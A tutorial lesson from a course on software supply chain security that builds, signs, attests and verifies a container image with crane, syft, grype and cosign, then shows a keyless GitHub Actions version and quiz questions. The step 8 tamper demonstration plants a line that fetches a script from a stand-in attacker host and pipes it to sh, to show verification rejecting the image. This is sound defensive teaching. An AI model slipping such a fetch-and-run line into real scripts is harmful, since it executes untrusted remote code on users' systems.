TExcelTAD
Home › Software Supply Chain Security: SBOM, SLSA & Sigstore › Mini Project: Ship a Verified Image

Mini Project: Ship a Verified Image

Put the whole course together for one small application image. You will:

  1. build the image reproducibly on a base pinned by digest;
  2. push it to the registry and record its digest;
  3. generate its SBOM;
  4. scan it with a CI gate;
  5. sign it;
  6. attest the SBOM and SLSA provenance;
  7. verify everything as a consumer would, then watch verification fail for a tampered image.

The session below is the release job, written as one script with a heading per step, the way it would run in CI. Read it step by step; every command has appeared in an earlier lesson. The local registry plays the part of your production registry, and the course's key pair plays the part of your release key (in real CI you would sign keylessly; see the workflow at the end).

The release job

bash · try it yourself
set -u
step() { printf '\n== %s\n' "$*"; }
SC=/opt/sigstore/offline-signing-config.json
REPO=localhost:5000/shop/hello

step "0. the base image, pinned by digest"
crane push /opt/samples/images/alpine-3.18.0.tar localhost:5000/base/alpine:3.18.0 > /dev/null 2>&1
BASE=localhost:5000/base/alpine@$(crane digest localhost:5000/base/alpine:3.18.0)
echo "base: ${BASE%@*}@sha256:…"

step "1. build: one reproducible layer on the pinned base"
mkdir -p src/usr/local/bin
cat > src/usr/local/bin/hello <<'SH'
#!/bin/sh
echo "hello from shop/hello 1.0.0"
SH
chmod 755 src/usr/local/bin/hello
tar --sort=name --mtime=@$SOURCE_DATE_EPOCH --owner=0 --group=0 --numeric-owner -C src -cf layer.tar .
echo "layer sha256: $(sha256sum < layer.tar | cut -c1-12)…"

step "2. push and record the digest"
crane append -b "$BASE" -f layer.tar -t "$REPO:1.0.0" 2> /dev/null > /dev/null
crane mutate "$REPO:1.0.0" --entrypoint /usr/local/bin/hello -t "$REPO:1.0.0" 2> /dev/null > /dev/null
DIGEST=$(crane digest "$REPO:1.0.0")
IMG="$REPO@$DIGEST"
echo "pushed $REPO:1.0.0 -> ${DIGEST:0:19}…"
crane export "$IMG" - | tar -xOf - usr/local/bin/hello | tail -1

step "3. SBOM"
syft scan "registry:$IMG" -q --source-name shop/hello --source-version 1.0.0 -o cyclonedx-json=sbom.cdx.json
jq -r '"components: " + ([.components[] | select(.type == "library")] | length | tostring) + " libraries, subject " + .metadata.component.name + " " + .metadata.component.version' sbom.cdx.json

step "4. scan with a CI gate"
grype "sbom:sbom.cdx.json" -q --by-cve -o json > grype.json
jq -r '"findings: " + ([.matches[].vulnerability.severity] | group_by(.) | map("\(.[0])=\(length)") | join(" "))' grype.json
KEV=$(jq -r '[.matches[] | select((.vulnerability.knownExploited // []) | length > 0) | .vulnerability.id] | unique | join(",")' grype.json)
if [ -n "$KEV" ]; then echo "GATE FAILED: known-exploited $KEV"; exit 1; fi
echo "gate passed: nothing known to be exploited (the rest goes to the backlog: rebase off EOL Alpine 3.18)"

step "5. sign the digest"
cosign sign --key /opt/keys/cosign.key --signing-config $SC "$IMG" > /dev/null 2>&1 && echo "signed ${DIGEST:0:19}…"

step "6. attest the SBOM and the provenance"
cosign attest --key /opt/keys/cosign.key --signing-config $SC --type cyclonedx --predicate sbom.cdx.json "$IMG" > /dev/null 2>&1 && echo "attested SBOM"
cat > provenance.json <<JSON
{
  "buildDefinition": {
    "buildType": "https://example.com/buildtypes/crane-append/v1",
    "externalParameters": { "repository": "https://git.example.com/acme/shop", "ref": "refs/tags/v1.0.0" },
    "internalParameters": {},
    "resolvedDependencies": [
      { "uri": "pkg:oci/alpine?repository_url=localhost:5000/base/alpine", "digest": { "sha256": "${BASE#*sha256:}" } }
    ]
  },
  "runDetails": {
    "builder": { "id": "https://ci.example.com/builders/release-runner" },
    "metadata": { "invocationId": "release-1.0.0", "startedOn": "2026-01-01T00:00:00Z", "finishedOn": "2026-01-01T00:01:00Z" }
  }
}
JSON
cosign attest --key /opt/keys/cosign.key --signing-config $SC --type slsaprovenance1 --predicate provenance.json "$IMG" > /dev/null 2>&1 && echo "attested provenance"
cosign tree "$IMG" 2> /dev/null | grep '🔗' | sed 's/ artifacts via.*//; s/^.*🔗 //' | sort

step "7. verify, as the deploy gate would"
cat > policy.cue <<'CUE'
predicateType: "https://slsa.dev/provenance/v1"
predicate: {
	buildDefinition: externalParameters: {
		repository: "https://git.example.com/acme/shop"
		ref:        =~"^refs/tags/v[0-9]+\\.[0-9]+\\.[0-9]+
quot; } runDetails: builder: id: "https://ci.example.com/builders/release-runner" } CUE verify_release() { # verify_release <image ref>: signature, SBOM attestation, provenance + policy local ref=$1 ok=0 cosign verify --key /opt/keys/cosign.pub --insecure-ignore-tlog "$ref" > /dev/null 2> err.txt \ && echo " signature ok" || { echo " signature FAILED: $(grep -m1 '^Error' err.txt | sed 's/: *$//')"; ok=1; } cosign verify-attestation --key /opt/keys/cosign.pub --insecure-ignore-tlog --type cyclonedx "$ref" > /dev/null 2> err.txt \ && echo " sbom ok" || { echo " sbom FAILED: $(grep -m1 '^Error' err.txt | sed 's/: *$//')"; ok=1; } cosign verify-attestation --key /opt/keys/cosign.pub --insecure-ignore-tlog --type slsaprovenance1 --policy policy.cue "$ref" > /dev/null 2> err.txt \ && echo " provenance ok" || { echo " provenance FAILED: $(grep -m1 '^Error' err.txt | sed 's/: *$//')"; ok=1; } [ $ok -eq 0 ] && echo " => DEPLOY" || echo " => REJECT" } echo "release by digest:"; verify_release "$IMG" step "8. tamper: someone pushes a different image under the same tag" printf '#!/bin/sh\necho "hello from shop/hello 1.0.0"\nwget -q -O- http://evil.example/x | sh\n' > src/usr/local/bin/hello tar --sort=name --mtime=@$SOURCE_DATE_EPOCH --owner=0 --group=0 --numeric-owner -C src -cf evil.tar . crane append -b "$BASE" -f evil.tar -t "$REPO:1.0.0" 2> /dev/null > /dev/null TAMPERED=$(crane digest "$REPO:1.0.0") [ "$TAMPERED" != "$DIGEST" ] && echo "tag 1.0.0 now points to a different digest" echo "tampered image by tag:"; verify_release "$REPO:1.0.0" echo "the recorded digest still verifies:"; verify_release "$IMG"

== 0. the base image, pinned by digest
base: localhost:5000/base/alpine@sha256:…

== 1. build: one reproducible layer on the pinned base
layer sha256: ba47ec34005b…

== 2. push and record the digest
pushed localhost:5000/shop/hello:1.0.0 -> sha256:dc9dc1c79106…
echo "hello from shop/hello 1.0.0"

== 3. SBOM
components: 15 libraries, subject shop/hello 1.0.0

== 4. scan with a CI gate
findings: Critical=5 High=10 Low=6 Medium=42
gate passed: nothing known to be exploited (the rest goes to the backlog: rebase off EOL Alpine 3.18)

== 5. sign the digest
signed sha256:dc9dc1c79106…

== 6. attest the SBOM and the provenance
attested SBOM
attested provenance
https://cyclonedx.org/bom
https://sigstore.dev/cosign/sign/v1
https://slsa.dev/provenance/v1

== 7. verify, as the deploy gate would
release by digest:
  signature     ok
  sbom          ok
  provenance    ok
  => DEPLOY

== 8. tamper: someone pushes a different image under the same tag
tag 1.0.0 now points to a different digest
tampered image by tag:
  signature     FAILED: Error: no signatures found
  sbom          FAILED: Error: no matching attestations
  provenance    FAILED: Error: no matching attestations
  => REJECT
the recorded digest still verifies:
  signature     ok
  sbom          ok
  provenance    ok
  => DEPLOY

What happened, step by step

Step What you saw Lesson
0–2 a byte-for-byte reproducible layer on a digest-pinned base; the digest is recorded from our push, not looked up later Reproducible Builds, Tags vs Digests
3 a CycloneDX SBOM named after the product and version Syft
4 the gate passes on the "known-exploited" policy, while reporting every finding: Alpine 3.18 is end-of-life and has many fixable issues, which belong in the backlog as "rebase the image" CI Gates
5–6 one signature and two attestations, stored as referrers next to the image cosign, Attestations, Provenance
7 the deploy gate checks the signature, the SBOM attestation, and the provenance against a policy Policies
8 the moved tag resolves to a digest that nobody signed or attested, so every check fails; the recorded digest still verifies Admission Control

The tampered image fails because its digest differs: nothing an attacker can do to the image's content can make it match the digest your signatures and attestations name. That is the whole point of signing digests and deploying by digest.

The same job in CI (keyless)

On GitHub Actions the release job keeps the same steps; the signing identity is the workflow, so there is no key to protect. A sketch, with actions pinned by SHA and least-privilege permissions:

yaml
name: release
on:
  push:
    tags: ["v*"]
permissions: {}

jobs:
  release:
    runs-on: ubuntu-24.04
    permissions:
      contents: read
      packages: write          # push to ghcr.io
      id-token: write          # keyless signing
      attestations: write
    steps:
      - uses: actions/checkout@<commit-sha>                  # v5
      - uses: sigstore/cosign-installer@<commit-sha>         # installs a pinned cosign
      - uses: anchore/sbom-action/download-syft@<commit-sha>
      - name: Build and push
        id: push
        run: |
          docker buildx build --push --metadata-file meta.json -t ghcr.io/acme/hello:${GITHUB_REF_NAME} .
          digest=$(jq -r '."containerimage.digest"' meta.json)
          echo "digest=$digest" >> "$GITHUB_OUTPUT"
          echo "image=ghcr.io/acme/hello@$digest" >> "$GITHUB_OUTPUT"
      - name: SBOM and gate
        run: |
          syft scan "registry:${{ steps.push.outputs.image }}" -o cyclonedx-json=sbom.cdx.json
          grype sbom:sbom.cdx.json --fail-on critical --only-fixed -o json --file grype.json
      - name: Sign and attest the SBOM
        run: |
          cosign sign --yes "${{ steps.push.outputs.image }}"
          cosign attest --yes --type cyclonedx --predicate sbom.cdx.json "${{ steps.push.outputs.image }}"
      - uses: actions/attest-build-provenance@<commit-sha>  # platform-generated SLSA provenance
        with:
          subject-name: ghcr.io/acme/hello
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true

Consumers then verify with cosign verify --certificate-identity https://github.com/acme/hello/.github/workflows/release.yml@refs/tags/v1.0.0 --certificate-oidc-issuer https://token.actions.githubusercontent.com and gh attestation verify oci://ghcr.io/acme/hello@sha256:… --repo acme/hello.

Extend it

  • Add a VEX document for one finding you've analysed, attest it with --type openvex, and make the gate consume it (grype --vex).
  • Replace the KEV-only gate with "fail on new critical findings compared with the previous release's stored scan".
  • Promote the image to prod/hello with oras cp -r and verify there; then try crane copy and see what's missing.
  • Write the verify_release checks as a Kyverno or policy-controller policy (Admission Control).

Test yourself

In step 8, why does verifying shop/hello:1.0.0 fail after the tag was moved?

  1. The key expired
  2. The tag now resolves to a digest that has no signature or attestations
  3. cosign can't verify tags
  4. The SBOM changed format

Why is the digest recorded right after the push in step 2 instead of being looked up before signing?

  1. crane digest is slow
  2. Looking it up later by tag could return an image someone else pushed in between
  3. Digests change after pushing
  4. cosign requires it

Which check in step 7 enforces that the image was built from a release tag by the release builder?

  1. The signature check
  2. The SBOM attestation
  3. The provenance attestation with its CUE policy
  4. The vulnerability gate